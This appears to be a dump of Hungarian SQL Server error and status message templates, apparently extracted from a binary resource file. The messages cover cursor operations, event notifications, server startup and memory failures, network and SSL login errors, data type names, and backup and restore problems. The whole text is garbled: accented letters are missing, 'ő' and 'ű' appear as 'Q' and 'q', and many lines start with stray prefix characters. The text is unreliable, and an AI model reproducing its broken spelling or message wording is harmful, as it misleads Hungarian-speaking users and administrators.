\A kvetkezQ oszlop nem ltezik:  %1!s! .

\A(z)  %1!s!  oszlop nem szmtott oszlop.

XML-adattpusbl nem hozhat ltre felhasznl ltal definilt tpus.

Vardecimal trolsi formtum nem ll rendelkezsre a kvetkezQ rendszeradatbzisban:  %1!s! .

|Az sp_resetstatus nem futtathat adatbzis-pillanatkpen.

A schema_name paramterhez megadott  %1!s!  sma nem ltezik.

Az sp_estimate_data_compression_savings trolt eljrs nem tmogatja az XML-index tmrtst.

Az sp_estimate_data_compression_savings trolt eljrs nem tmogatja ideiglenes tblk tmrtst.

(Az sp_estimate_data_compression_savings trolt eljrs nem tmogatja a ritka oszlopokkal vagy oszlopkszletekkel rendelkezQ tblk tmrtst.

Az  sp_addserver  funkci mr nem tmogatott. Cserlje le a tvoli kiszolglkat csatolt kiszolglk hasznlatval.

l%1!s!: Ez a szolgltats mg nincs megvalstva.

x%1!s!: rvnytelen a kvetkezQ paramter rtke: %2!s!.

Helytelen szm paramterrel hvtk a kvetkezQ eljrst:  %1!s! .

sp_cursor: optype: Csak az ABSOLUTE belltst adhatja meg a DELETE vagy az UPDATE kapcsn.

DA kurzor mr meg van nyitva.

LA kurzor ltal hasznlt azon ideiglenes trol, amely a kurzorlekrdezs ltal hivatkozott nagy objektum vltozrtkek trolsra szolglt, mr nem hasznlhat.

\%1!s! nem hasznlhat kurzorutastsban.

%1!s!: Nem rvnyes a megadott kurzorazonost rtk (%2!s!).

Jelenleg egy msik utasts hasznlja a kvetkezQ kurzort: %1!s!.

%1!s!: A(z) %2!s! beolvasstpus nem hasznlhat elQre halad kurzor esetn.

Tl sok paramterrel hvtk a kvetkezQ eljrst:  %1!s! .

DMr van  %1!s!  nevq kurzor.

@Nincs  %1!s!  nevq kurzor.

<A kurzor nincs megnyitva.

Beolvass a kurzorrl: Nem engedlyezett a(z) %1!s! tpusbl %2!s! tpusba vgzett implicit konverzi.

Beolvass a kurzorrl: Az INTO listn deklarlt vltozk szmnak meg kell egyeznie a kijellt oszlopok szmval.

Dinamikus kurzorokkal nem hasznlhat a kvetkezQ beolvasstpus: %1!s!.

sp_cursoroption: Az oszlopazonost (%1!s!) nem tartozik szveg-, ntext- vagy kposzlophoz.

tNem lehet beolvasni szveg-, ntext- s kpvltozba.

sp_cursor: Exec utasts nem engedlyezett kurzorbeilleszts forrsaknt.

TA kurzor READ ONLY (csak olvashat).

\A krt sor nincs a beolvassi pufferben.

lNincsenek sorok az aktulis beolvassi pufferben.

A kurzornak van egy FOR UPDATE listja, s a krt, frisstendQ oszlop nem szerepel ezen a listn.

A kurzor nem tartalmazza a mdosts alatt ll tblt, vagy pedig a tbla nem frissthetQ a kurzoron keresztl.

Nem szerepel paramterrtk az sp_cursor-%1!s! eljrsnl.

|sp_cursor: Egy vagy tbb paramterrtk rvnytelen volt.

Kiszolgli kurzor nem nyithat meg a megadott utasts(ok)on. Hasznljon alaprtelmezett eredmnykszletet vagy gyflkurzort.

dsp_cursoropen/sp_cursorprepare: Az utasts paramtere csak kteg vagy egyetlen kivlasztsos trolt eljrs lehet, FOR BROWSE, COMPUTE BY vagy vltoz-hozzrendels nlkl.

Kurzorfrisstsek nem engedlyezettek a NOLOCK belltssal megnyitott tblkon.

Nem sikerlt ltrehozni aszinkron kulcskszletet. A kurzor lefoglalsa megszqnt.

Nem sikerlt befejezni a kurzormqveletet, mert a tblasma mdosult a kurzor deklarlsa utn.

@A kurzor nincs deklarlva.

Nem sikerlt megnyitni a kurzort, mert egy vagy tbb tblja kikerlt a hatkrbQl.

TEgy sor sem frisslt vagy trlQdtt.

A(z)  %1!s!  vltoz nem kurzorvltoz, viszont olyan helyen szerepel, ahol a program kurzorvltozt vr.

A(z)  %1!s!  vltoz kurzorvltoz, viszont olyan helyen szerepel, ahol kurzorvltoz nem llhat.

,A(z)  %1!s!  vltoz nem hasznlhat paramterknt, mert egy CURSOR OUTPUT paramterhez nem lehet kiosztva kurzor az eljrs vgrehajtsa elQtt.

Kurzorvltoz nem hasznlhat tvoli eljrshvs paramtereknt.

|SQL kzvetlen vgrehajtsa van folyamatban; nincs kurzor.

dNem sikerlt ltrehozni elfogadhat kurzort.

|READ ONLY kurzoron nem adhat meg a FOR UPDATE bellts.

Nem sikerlt befejezni a kurzormqveletet, mert a belltsi (SET) utasts kapcsoli mdosultak a kurzor deklarlsa ta.

TNem sikerlt az egyedi tblaszmts.

pElrte a kurzorok maximlisan engedlyezett szmt.

xA clobjektumtpus nem frissthetQ kurzoron keresztl.

Nem tilthatja le a grgetst olyan kurzor esetn, amely tvoli tblt tartalmaz.

Az optimista kurzor esetn idQblyegzQ-oszlopokra van szksg, ha a frissts vagy trls clpontjai tvoliak.

TA kurzorgrgetsi tiltsok rvnytelentve lettek egy tranzakcis hiba miatt. Kurzorbl trtnQ beolvass utn jbl ki kell adni az UPDATE vagy a DELETE utastst.

%1!s!: A megadott egyidejqsg-vezrlsi bellts %2!s! (%3!s!) inkompatibilis a statikus vagy gyors elQre halad kurzorokkal. Csak a csak olvashat tulajdonsg kompatibilis a statikus vagy gyors elQre halad kurzorokkal.

A kurzormqveletnek meg kell vrnia, hogy a kurzor aszinkron feltltse befejezQdjn. Ezen a ponton azonban a tranzakci eredmnye nem rhetQ el, gy az aszinkron feltlts nem folytatdhat.

X%1!s! nem fogad kimeneti paramtereket.

Nem sikerlt az aszinkron kurzoros munkatbla feltltsi szlnak szrmaztatsa.

xBelsQ kurzorhiba: A kurzor rvnytelen llapotban van.

Nem sikerlt  %1!s!  tpus esemnyrtestsi pldnyt kldeni a(z)  %2!s!  beszlgetsler kapcsn. Hibakd =  %3!s! .

Nem sikerlt elkldeni a QUEUE_ACTIVATION esemnyt. Hibakd: '0x%1!s!'.

A program bezrta a(z)  %1!s!  lerj esemnyrtestsi beszlgetsi vgpontot a kvetkezQ hiba miatt:  %2!s! .

Az esemnyrtestsi beszlgets a(z)  %1!s!  prbeszdlern hiba nlkl bezrult.

A(z)  %2!s!  adatbzisban lvQ  %1!s!  esemnyrtests el lett dobva a kldskor a Service Broker mqkdsben bekvetkezett hibk miatt. EllenQrizze, hogy az esemnyrtestsben megadott beszlgetsi ler, Service Broker szerzQds s szolgltats aktv-e.

Nem lehet tforgatni a hibanaplfjlt a kvetkezQrQl:  %1!s!  a kvetkezQre:  %2!s! , mgpedig az opercis rendszer  %3!s!  hibja miatt. Egy SQL Server programon kvli folyamat akadlyozhatja az SQL Server programot abban, hogy olvassa a fjlokat. Ennek kvetkeztben hibanapl-bejegyzsek veszhetnek el, s elQfordulhat, hogy nem lehet megtekinteni nhny SQL Server hibanaplt. EllenQrizze, hogy ms folyamat nem zrolta-e a fjlt csak rsi hozzfrssel.

PLejrt az SQL Server prbaidQszaka.

%1!s!: Opercis rendszerrel kapcsolatos hiba (%2!s!) trtnt.

tAz aktulis esemny nem kerlt be a Windows esemnynaplba. Az opercis rendszer ltal visszaadott hiba = %1!s!. Ha betelt a Windows esemnynaplja, akkor trlni kell a tartalmt.

Nem sikerlt ltrehozni az opercis rendszer objektumainak biztonsgi krnyezett. Az SQL Server nem indthat el. A hiba oknak feldertse rdekben nzze meg a vonatkoz bejegyezseket az esemnynaplban.

initerrlog: Nem sikerlt megnyitni a kvetkezQ hibanaplfjlt:  %1!s! . Az opercis rendszer ltal visszaadott hiba = %2!s!.

pHiba: %1!s!, slyossg: %2!s!, llapot: %3!s! %4!s!

(SQL Server elQfelttel: Fjl: <%1!s!>, sor = %2!s!, hibs llts =  %3!s!  %4!s!. Ez a hiba esetleg az idQztssel kapcsolatos. Ha a hiba az utasts jbli futtatsa utn is fennll, a DBCC CHECKDB utasts segtsgvel ellenQrizze az adatbzis szerkezetnek srtetlensgt, vagy indtsa jra a kiszolglt annak biztostsra, hogy a memriban levQ adatstruktrk biztosan ne legyenek srltek.

SQL Server elQfelttel: Fjl: <%1!s!>, sor = %2!s!, hibs llts =  %3!s! . Ez a hiba esetleg az idQztssel kapcsolatos. Ha a hiba az utasts jbli futtatsa utn is fennll, a DBCC CHECKDB utasts segtsgvel ellenQrizze az adatbzis szerkezetnek srtetlensgt, vagy indtsa jra a kiszolglt annak biztostsra, hogy a memriban levQ adatstruktrk biztosan ne legyenek srltek.

SQL Server elQfelttel: Fjl: <%1!s!>, sor = %2!s! %3!s!. Ez a hiba esetleg az idQztssel kapcsolatos. Ha a hiba az utasts jbli futtatsa utn is fennll, a DBCC CHECKDB utasts segtsgvel ellenQrizze az adatbzis szerkezetnek srtetlensgt, vagy indtsa jra a kiszolglt annak biztostsra, hogy a memriban levQ adatstruktrk biztosan ne legyenek srltek.

A frtztt pldnyok nem tmogatottak az SQL Server ezen kiadsban.

Az SQL Server nem tudott elindulni rendszerindtsi hiba miatt. Az opercis rendszer ltal visszaadott hiba = %1!s!.

|A bQvtettesemny-munkamenet ltrehozsa sikertelen volt.

Az  sp_server_diagnostics  trolt eljrs ismtlsi mdban val vgrehajtsa az  insert into  zradkkal nem engedlyezett.

A(z)  %1!s!  helyessgi felttel alkalmazsa sikertelen volt, zenet:  %2!s! , hely: <%3!s!>:%4!s!.

A(z)  %1!s!  helyessgi felttel alkalmazsa sikertelen volt a kvetkezQ helyen: <%2!s!>:%3!s!.

Hiba trtnt a rendszerllapot-figyelQ szl szrmaztatsakor: %1!s!

4Nem sikerlt inicializlni az elosztott COM rendszert (CoInitializeEx a kvetkezQt adta vissza: %1!s!). Ezrt nem lehet hasznlni heterogn lekrdezseket s tvoli eljrshvsokat. EllenQrizze a DCOM konfigurcijt a VezrlQpanelen lvQ Komponensszolgltatsok segtsgvel.

Drvnytelen indtsi bellts ( %1!s! ) lett megadva, mgpedig vagy a belltsjegyzkbQl, vagy a parancssorbl. Javtsa ki vagy tvoltsa el a belltst.

X%1!s! hiba trtnt a(z)  %2!s!  fjl megnyitsakor, a megnyitsnak az volt a clja, hogy a program konfigurcis adatokat szerezzen indulskor. Egy rvnytelen indtsi bellts okozhatta a hibt. EllenQrizze az indtsi belltsait, s szksg esetn javtsa ki vagy tvoltsa el a hibsakat.

X%1!s! hiba trtnt a(z)  %2!s!  fjl megnyitsakor, a megnyitsnak az volt a clja, hogy a program konfigurcis adatokat szerezzen indulskor. Egy rvnytelen indtsi bellts okozhatta a hibt. EllenQrizze az indtsi belltsait, s szksg esetn javtsa ki vagy tvoltsa el a hibsakat.

Nem sikerlt inicializlni az elosztott COM rendszert; a DCOM nincs teleptve. Ezrt nem lehet hasznlni heterogn lekrdezseket s tvoli eljrshvsokat. EllenQrizze a DCOM konfigurcijt a VezrlQpanelen lvQ Komponensszolgltatsok segtsgvel.

\Az SQL Server nem tudta szrmaztatni a kvetkezQ szlat: %1!s!. A kapcsold lehetsges problmkrt tekintse meg az SQL Server hibanapljt s a Windows esemnynaplit.

initdata: Nincs memria a rendszermagpuffer kivonattblja szmra.

xinitdata: Nincs memria a rendszermagpufferek szmra.

Nincs elg memria a konfigurlt szm zr szmra. A program megprbl elindulni kisebb zr-kivonattblval, ami cskkentheti a teljestmnyt. Krje meg az adatbzis rendszergazdjt, hogy konfigurljon tbb memrit az adatbzismotor ezen pldnya szmra.

|A kiszolgl indtsa sikertelen, mert nincs elg memria a ler-kivonattblknak. Cskkentse a nlklzhetQ alkalmazsok memriahasznlatt, vagy pedig nvelje a rendszer memrijt.

`A kiszolgl indtsa sikertelen, mert nincs elg memria a lernak. Cskkentse a nlklzhetQ alkalmazsok memriahasznlatt, vagy pedig nvelje a rendszer memrijt.

Nem sikerlt a kvetkezQ indtsi eljrs elindtsa:  %1!s! .

lNem sikerlt elegendQ memrit lefoglalni a kvetkezQ indtshoz:  %1!s! . Cskkentse a nlklzhetQ alkalmazsok memriahasznlatt, vagy pedig nvelje a rendszer memrijt.

$Nem sikerlt elindtani az SQL Server programot a Szolgltatsvezrls kezelQje ltal. Az opercis rendszer ltal visszaadott hiba = %1!s!.

Nem sikerlt regisztrlni a Szolgltatsvezrls kezelQjt. Az opercis rendszer ltal visszaadott hiba = %1!s!.

Az SQL Server szolgltats sznetel. j kapcsolat nem engedlyezett. A szolgltats folytatshoz hasznlja az SQL szmtgp-kezelQt vagy a VezrlQpulton lvQ Szolgltatsok alkalmazst.

%1!s!: Nem sikerlt belltani a Szolgltatsvezrls llapott. Az opercis rendszer ltal visszaadott hiba = %2!s!.

initeventlog: Nem sikerlt kezdemnyezni az EventLog szolgltatst a kvetkezQ kulcshoz: '%1!s!', a legutols hibakd: %2!s!.

`SNIInitialize() sikertelen, hiba: 0x%1!s!.

pSNIInitializeListener() sikertelen, hiba: 0x%1!s!.

TDSSNIClient inicializlsa sikertelen, hiba: 0x%1!s!, llapotkd: 0x%2!s!. Ok: %3!s! %4!s!

\Nem lehet frissteni a jelszhzirendet.

Nem sikerlt vrakozsi sorba lltani a kvetkezQ feladatot: %1!s!. Valsznqleg nincs elg memria.

0Az SQL Server nem ll kszen j gyflkapcsolatok fogadsra. Vrjon nhny percet, mielQtt jbl prblkozik. Ha hozzfr a hibanaplhoz, akkor az jbli kapcsoldsi ksrlet elQtt vrja meg azt a tjkoztat zenetet, amely jelzi, hogy az SQL Server mr kszen ll. %1!s!

Az SQL Server nem tud fogadni j kapcsolatokat, mert ppen folyamatban van a lelltsa. A kapcsolat bezrdott.%1!s!

Az SQL Server nem tudott szrmaztatni egy j bejelentkezs vagy kapcsolat feldolgozsra szolgl szlat, hibakd: 0x%1!s!. A kapcsold lehetsges problmkrt tekintse meg az SQL Server hibanapljt s a Windows esemnynaplit.%2!s!

Nem sikerlt a FallBack tanstvny inicializlsa, hibakd: %1!s!, llapot: %2!s!, hibaszm: %3!s!.

Nem lehet j kapcsolatot fogadni, mert a munkamenet lezrult. Ez a hiba olyankor fordul elQ, ha j ktegelt vgrehajtsra tesznek ksrletet olyan munkamenetben, amely ppen kijelentkezik, vagy amikor slyos hiba trtnik a kapcsoldskor. A hibanaplban nzze meg, hogy a munkamenetet a KILL parancs zrta-e le, vagy slyos hibk miatt volt knytelen lellni.%1!s!

A kiszolgl nem tudta betlteni a bejelentkezshez szksges SSL-szolgltat fggvnytrat; a kapcsolat bezrdott. Attl fggQen, hogy a rendszergazda hogyan konfigurlta a kiszolglt, a teljes kommunikci vagy csak a bejelentkezsi folyamat kap SSL titkostst. Az online knyvekben tjkozdhat a kvetkezQ hibazenetrQl: %1!s! %2!s! %3!s!

pA kiszolgl nem tudta befejezni az inicializlsi lpssort, mert az elrhetQ hlzati fggvnytrak nem tmogatjk a szksges titkostsi szintet. A kiszolgl folyamata lellt. A kiszolgl jraindtsa elQtt ellenQrizze, hogy a teleptve vannak-e az SSL-tanstvnyok. Lsd az online knyvek gyflprotokollok s hlzati fggvnytrak konfigurlsval foglalkoz tmakrt ( Configuring Client Protocols and Network Libraries ).

Nem sikerlt a bejelentkezs, mert letelt az idQkorlt; a kapcsolat bezrdott. Ez a hiba a kiszolgl erQs leterheltsgre utalhat. Cskkentse a kiszolgl terhelst, majd prblkozzon ismt a bejelentkezssel.%1!s!

Sikertelen a kapcsolds, mert nem tallhat a vgpont. Ez olyankor trtnhet, ha a vgpontot eldobjk, mikzben kapcsoldsi ksrlet van folyamatban. Prbljon meg kapcsoldni a kiszolgl egy msik vgpontjhoz.%1!s!

Sikertelen a dediklt felgyeleti kapcsolat tvoli hozzfrsi belltsainak mdostsa, hiba: 0x%1!s!, llapotkd: 0x%2!s!.

Az SQL Server nem tud elindulni ezen a szmtgpen. A processzor (CPU) nem tmogatja az SQL Server futtatshoz szksges sszes utastst. Tovbbi tjkoztatst az online knyvekben tall, a rendszerkvetelmnyekkel foglalkoz rszben.

%1!s!: Nem sikerlt megnyitni a(z) %2!s! fjlt a kvetkezQ fjlszmhoz: %3!s!. Opercis rendszer hibja: %4!s!.

%1!s!: %2!s! opercis rendszerbeli hiba trtnt a kvetkezQ fjl ltrehozsakor vagy megnyitsakor:  %3!s! . Dertse fel s hrtsa el az opercis rendszer hibjt, majd prblja jbl elvgezni a mqveletet.

%1!s!: Helytelen mretq a kvetkezQ fjl:  %2!s! . %3!s! MB mretqnek van feltntetve, de %4!s! MB mretqnek kne lennie. Dertse ki s hrtsa el a lemezkezelssel kapcsolatos hibt, majd lltsa vissza az adatbzist biztonsgi msolatbl.

Az SQL Server nem tudott futtatni egy j rendszerfeladatot, mert nincs elg memria, vagy mert a konfigurlt munkamenetek szma meghaladta a kiszolgln engedlyezett maximumot. EllenQrizze, hogy a kiszolgl elegendQ memrival rendelkezik-e. Az sp_configure 'user connections' eljrssal ellenQrizze a felhasznli kapcsolatok maximlisan engedlyezett szmt. A sys.dm_exec_sessions paranccsal tekintse meg a munkamenetek aktulis szmt, belertve a felhasznli folyamatokat is.

hLellts kzben a(z) %1!s! SPID-azonostj munkamenetrQl kiderlt, hogy rvnytelen, valsznqleg srlt a munkamenet szerkezete. Forduljon a termktmogatsi szolglathoz.

%1!s!: A(z) %2!s! folyamat engedly nlkli hozzfrsi ksrletet okozott. Az SQL Server lelltja ezt a folyamatot.

A(z) %1!s! SPID-azonostj munkamenetbQl indtott felhasznli krelem vgzetes kivtelt okozott. Az SQL Server lelltja ezt a munkamenetet. Forduljon a termktmogatsi szolglathoz, s juttassa el nekik a naplknyvtrban keletkezett memriakpet.

Az SQL Server lell a kvetkezQ vgzetes kivtel miatt: %1!s!. Ezt a hibt taln egy nem kezelt Win32 vagy C++ kivtel okozta, vagy pedig a kivtelkezels sorn elQfordul jogosulatlan hozzfrsi ksrlet. Nzze meg, hogy van-e az SQL hibanaplban ehhez kapcsold veremkirats vagy zenet. A kivtel lelltja az SQL Server programot. A hiba elhrtshoz indtsa jra a kiszolglt (kivve, ha az SQLAgent automatikus jraindtsra van belltva).

Az SQL Server lellt egy rendszer- vagy httrfeladatot (%1!s!) a feladat indtsakor szlelt hibk miatt (belltsi llapot: %2!s!).

TA rendszer kpsrlst/gyorsjavtst szlelt egy kivtelen helyzet jelentsekor. Ez hardverproblmnak lehet a jele. A rszleteket lsd itt: SQLDUMPER_ERRORLOG.log.

Sikertelen volt a DBCC DBRECOVER a kvetkezQ azonostj adatbzis esetn: %1!s!. Biztonsgi msolatbl lltsa vissza az adatbzist.

A DBCC nem tudja felszabadtani a(z)  %1!s!  DLL-t. Az SQL Server megfelelQ mqkdshez szksg van erre a DLL-re.

Nem sikerlt betlteni a(z) %1!s! DLL-t, vagy pedig az ltala hivatkozott valamelyik DLL-t. Ok: %2!s!.

A(z) %1!s! fggvny nem tallhat a kvetkezQ fggvnytrban: %2!s!. Ok: %3!s!.

Az SQL Server nem rendelkezik elg memrival a kvetkezQ bQvtett trolt eljrs futtatshoz:  %1!s! . Szabadtsa fel a kiszolgl memrijnak egy rszt kapcsolatok bezrsval vagy tranzakcik befejezsvel.

`%1!s! csak a fQadatbzisban hajthat vgre.

@Az gyflen lvQ fggvnytr 0x%1!s! verzij Tabular Data Stream (TDS) tabullt adatfolyama nem tmogatott vagy nem ismert. A kapcsolat bezrdott. %2!s!

A kapcsolatltests kzben memriafoglalsi hiba trtnt. Cskkentse a nlklzhetQ alkalmazsok memriahasznlatt, vagy pedig nvelje a rendszer memrijt. A kapcsolat bezrdott.%1!s!

8A bejelentkezsi rekord usertype (felhasznltpus) mezQjben lvQ rtk rvnytelen. A Sybase gyfelek ltal hasznlt 0x01 rtket az SQL Server mr nem tmogatja. Forduljon ahhoz a cghez, akitQl az SQL Server programhoz val kapcsoldsra szolgl gyflkdtr szrmazik.%1!s!

|Sikertelen volt az SSPI-kzfogs a beptett biztonsgi szolgltatsokkal val kapcsolat ltrehozsakor. Hibakd: 0x%1!s!, llapot: %2!s!. A kapcsolat bezrdott. Ok: %3!s! %4!s! %5!s!

 Az gyfltQl kapott  %1!s!  esemnyt nem ismeri fel az SQL Server. Forduljon ahhoz a cghez, akitQl az SQL Server programhoz val kapcsoldsra szolgl gyflkdtr szrmazik, s krje meg Qket, hogy javtsk ki az esemny szmt az elkldtt tabullt adatfolyamban.

Nem sikerlt a kapcsolds, mert mr elrte a(z)  %1!s!  felhasznli kapcsolatok maximlis szmt. A rendszergazda az sp_configure eljrssal megnvelheti ezt az rtket. A kapcsolat bezrdott.%2!s!

0Nem sikerlt a kapcsolds, mert a mr meglvQ  %1!s!  dediklt felgyeleti kapcsolatok szma elrte a maximumot. j kapcsolat ltestse elQtt a meglvQ kijellt rendszergazdai kapcsolatot el kell dobni, mgpedig vagy kijelentkezs tjn, vagy a folyamat befejezsvel.%2!s!

A krt szolgltatst korbban lelltottk vagy letiltottk, ezrt jelenleg nem ll rendelkezsre. A kapcsolat bezrdott.%1!s!

0Nem sikerlt lezrni a hlzati vgpontot, vagy pedig nem sikerlt lelltani a hlzati fggvnytrat. A problmt egy hlzati fggvnytr belsQ hibja okozza. Tekintse meg a hibanaplt: a jelen hiba utn lvQ bejegyzs tartalmazza a hlzati fggvnytrbl jvQ hibakdot.

Nem sikerlt elindtani a hlzati fggvnytrat egy benne lvQ belsQ hiba miatt. Az ok feldertshez tekintse meg a hibanaplban azokat a hibabejegyzseket, amelyek kzvetlenl megelQzik a jelen hibt.

Hiba trtnt egy jelsz titkostsakor. A kapcsolat bezrdott.%1!s!

pA kapcsolat megnyitshoz hasznlt bejelentkezs elQtti csomag szerkezetileg rvnytelen; a kapcsolat bezrdott. Krjk, forduljon az gyflen lvQ fggvnytr gyrtjhoz.%1!s!

Kapcsolds kzben hlzati hiba trtnt; a kapcsolat bezrdott.%1!s!

xKapcsolds kzben 0x%1!s! kd hlzati hiba trtnt; a kapcsolat bezrdott. Lehetsges, hogy letelt az gyflnl vagy a kiszolglnl rvnyben lvQ bejelentkezsi idQkorlt. A bejelentkezs sorn eltelt idQtartam: teljes: %2!s! ms, vrakozs: %3!s! ms, hlzati rsok: %4!s! ms, hlzati olvassok: %5!s! ms, SSL ltestse: %6!s! ms, hlzati olvassok az SSL alatt: %7!s! ms, hlzati rsok az SSL alatt: %8!s! ms, biztonsgos hvsok az SSL alatt: %9!s! ms, vrakozs az SSL alatt:%10!s! ms, SSPI egyeztetse: %11!s! ms, hlzati olvassok az SSPI alatt: %12!s! ms, hlzati rsok az SSPI alatt: %13!s! ms, biztonsgos hvsok az SSPI alatt: %14!s! ms, vrakozs az SSPI alatt: %15!s! ms, bejelentkezs rvnyestse: %16!s! ms, belertve a felhasznl ltal megadott bejelentkezsi feldolgozst: %17!s! ms.%18!s!

dA kapcsolat megnyitshoz hasznlt bejelentkezsi csomag szerkezetileg rvnytelen; a kapcsolat bezrdott. Krjk, forduljon az gyflen lvQ fggvnytr gyrtjhoz.%1!s!

Ehhez a kiszolglhoz csak titkostssal lehet kapcsoldni, de az gyflen lvQ fggvnytr nem tmogat titkostst; a kapcsolat bezrdott. Krjk, frisstse az gyflen lvQ fggvnytrat.%1!s!

A hlzati csomag hasznos adatcsomagjban megadott hossz nem egyezik a beolvasott bjtok szmval; a kapcsolat bezrdott. Krjk, forduljon a az gyflen lvQ fggvnytr gyrtjhoz.%1!s!

4karakter adattpus%0

\vltoz hosszsg karakteres adattpus%0

0binris adattpus%0

Xvltoz hosszsg binris adattpus%0

@1 bjtos egsz adattpus%0

@2 bjtos egsz adattpus%0

@4 bjtos egsz adattpus%0

(bit adattpus%0

<dtum s idQ adattpus%0

ddtum s idQ adattpus, nullk engedlyezve%0

,pnz adattpus%0

Tpnz adattpus, nullk engedlyezve%0

x4 bjtos lebegQpontos adattpus, nullk engedlyezve%0

L8 bjtos lebegQpontos adattpus%0

x8 bjtos lebegQpontos adattpus, nullk engedlyezve%0

x4 bjtos dtum s idQ adattpus, nullk engedlyezve%0

<4 bjtos pnz adattpus%0

(esemny tpus%0

<ksz csomag llapotmezQ%0

4hibaslyossg tpus%0

h4 bjtos egsz adattpus, nullk engedlyezve%0

(kp adattpus%0

0szveg adattpus%0

4numerikus adattpus%0

`numerikus adattpus, nullk engedlyezve%0

4decimlis adattpus%0

`decimlis adattpus, nullk engedlyezve%0

Tbit adattpus, nullk engedlyezve%0

p8000 bjtos vltoz hosszsg binris adattpus%0

t8000 bjtos vltoz hosszsg karakteres adattpus%0

H8000 bjtos binris adattpus%0

P8000 bjtos karakteres adattpus%0

`8000 bjtos Unicode karakteres adattpus%0

8000 bjtos Unicode vltoz hosszsg karakteres adattpus%0

@Unicode szveg adattpus%0

Degyedi azonost adattpus%0

p %1!s! : ez nem tmogatott Open Data Services API.

Vratlan lekrdezsi karakterlncot kapott egy Web Service Description Language (WSDL) ltrehozsi eljrs.

A kiszolgl el fogja dobni a kapcsolatot, mert az gyflen lvQ meghajt tbb krelmet kldtt, mikzben a munkamenet egyfelhasznls mdban van. Ez a hiba olyankor fordul elQ, ha egy gyfl a kapcsolat alaphelyzetbe lltsra irnyul krelmet kld, mikzben a munkamenetben mg futnak ktegek, vagy ha az gyfl olyankor kld krelmet, amikor a munkamenet ppen alaphelyzetbe lltja a kapcsolatot. Krjk, forduljon az gyflmeghajt gyrtjhoz.

A rendszer elutastott egy j kapcsoldsi prblkozst, mert a(z) %1!s! azonostj munkamenet mr elrte a kapcsolatok maximlis szmt. Zrja be a munkamenet egyik meglvQ kapcsolatt, majd prblkozzon jra.%2!s!

A(z)  %1!s!  bejelentkezsi azonost bejelentkezse sikertelen volt, esemnyindt vgrehajtsa miatt.%2!s!

Kivtel trtnt a(z)  %2!s!  fggvnytrbeli  %1!s!  bQvtett trolt eljrs futtatsakor. Az SQL Server lelltja a kvetkezQ folyamatot: %3!s!. Kivtel tpusa: %4!s!; kivtel kdja: 0x%5!s!.

hHiba: %1!s!, slyossg: %2!s!, llapot: %3!s!.

Hiba: %1!s!, slyossg: %2!s!, llapot: %3!s!. (paramterek: %4!s!). A hiba tmr mdban kerl nyomtatsra, mert hiba trtnt formzs kzben. Kimarad a nyomkvets, az ETW, az rtestsek stb.

Hiba: %1!s!, slyossg: %2!s!, llapot: %3!s! jelentkezett, de a sys.messages fjlban nem tallhat ilyen hibaszm zenet. Ha a hiba szma nagyobb, mint 50000, akkor fel kell venni a felhasznl ltal megadott zenetet az sp_addmessage hasznlatval.

%1!s!, %2!s! kivtel trtnt, amikor a kiszolgl megprblta alaphelyzetbe lltani a kvetkezQ kapcsolatot: %3!s!. A kiszolgl nem tudja elhrtani a kapcsolat alaphelyzetbe lltsval kapcsolatos hibt, ezrt knytelen volt eldobni a kapcsolatot. Krjk, forduljon a Microsoft technikai tancsad szolglathoz.

Az gyfl nem tudott jbl felhasznlni egy munkamenetet (SPID: %1!s!), amely alaphelyzetbe lett lltva kapcsolatkszletezs cljbl. A hiba azonostja: %2!s!. Ezt a hibt egy mqvelet korbbi sikertelensge okozhatta. Nzze meg a hibanaplkban, hogy vannak-e meghisult mqveletek kzvetlenl ezen hibazenet elQtt.

xHiba: Nem sikerlt belltani vgrehajtsi krnyezetet.

Nem sikerlt betlteni a formzsi karakterlncot a kvetkezQ hibhoz: %1!s!, nyelvazonost: %2!s!. Az opercis rendszer ltal visszaadott hiba: %3!s!. EllenQrizze, hogy az erQforrsfjl megfelel-e az SQL Server vgrehajthat fjlnak, s hogy a honostott knyvtrban lvQ erQforrsfjl megfelel-e az angol knyvtrban lvQ fjlnak. EllenQrizze a memriahasznlatot is.

A program eldobta a kapcsolatot, mert a kapcsolatot megnyit tag ksQbb egy j biztonsgi krnyezetet alaktott ki, majd megprblta alaphelyzetbe lltani a kapcsolatot a megszemlyestett biztonsgi krnyezete alatt. Ez a megolds nem tmogatott. Lsd az online knyvekben a megszemlyests ttekintsvel foglalkoz tmakrt ( Impersonation Overview ).

tNem sikerlt karakterlncot formzni a kvetkezQ hibhoz: %1!s!, nyelvazonost: %2!s!. Lehet, hogy kevs a memria a kiszolglban, vagy pedig hiba trtnt az zenet formzsakor.

`Az gyfl nem tudott csatlakozni a(z) %1!s! SPID-azonostj munkamenethez. A hiba oka lehet, hogy egy korbbi mqvelet sikertelen volt, vagy pedig mdosultak az engedlyek a munkamenet ltrehozsa ta. Nzze meg a hibanaplkban, hogy vannak-e meghisult mqveletek kzvetlenl ezen hibazenet elQtt.

$%1!s!: A(z)  %2!s!  biztonsgimsolat-eszkz nem tudta vgrehajtani a kvetkezQt: %3!s!. Az opercis rendszer ltal visszaadott hiba: %4!s!.

%1!s!: %2!s! hiba a kvetkezQ biztonsgimsolat-eszkzn:  %3!s! . Az opercis rendszer ltal visszaadott hiba: %4!s!.

@Visszalltsi jraindtskor ki-/bemeneti hiba trtnt a(z)  %1!s!  ellenQrzQpont-fjlon (az opercis rendszer ltal visszaadott hiba: %2!s!). Az utasts vgrehajtsa folytatdik, de nem indthat jra. EllenQrizze, hogy van-e rvnyes trolsi hely az ellenQrzQpont-fjl szmra.

hNem sikerlt trlni a(z)  %2!s!  adatbzisban lvQ  %1!s!  bitkpet a kvetkezQ hiba miatt: %3!s!. Ennek kvetkeztben, a klnbzeti vagy tmegesen naplzott bitkp tl nagynak tnteti fel azt a vltozst, amely a kvetkezQ klnbzeti vagy naplt mentQ biztonsgi mentskor fog trtnni. Ez a pontatlansg lelassthatja a ksQbbi klnbzeti vagy naplt mentQ biztonsgi mentseket, s a biztonsgi msolatok nagyobbak lesznek a szksgesnl. ltalban erQforrshiny okoz ilyen hibt. Vizsglja meg a hibt, s hrtsa el az okt. Ha a hiba adatok mentsekor trtnt, rdemes kszteni egy biztonsgi msolatot az adatokrl, amely alapul szolglhat a tovbbi klnbzeti mentsekhez.

(Be-/kimeneti hiba trtnt egy RESTORE mqvelet sorn az ellenQrzQpont  %1!s!  fjljban (az opercis rendszer ltal visszaadott hiba: %2!s!). GyQzQdjn meg arrl, hogy ltezik rvnyes trolhely az ellenQrzQpont fjlja szmra, majd prblja jbl elvgezni a mqveletet.

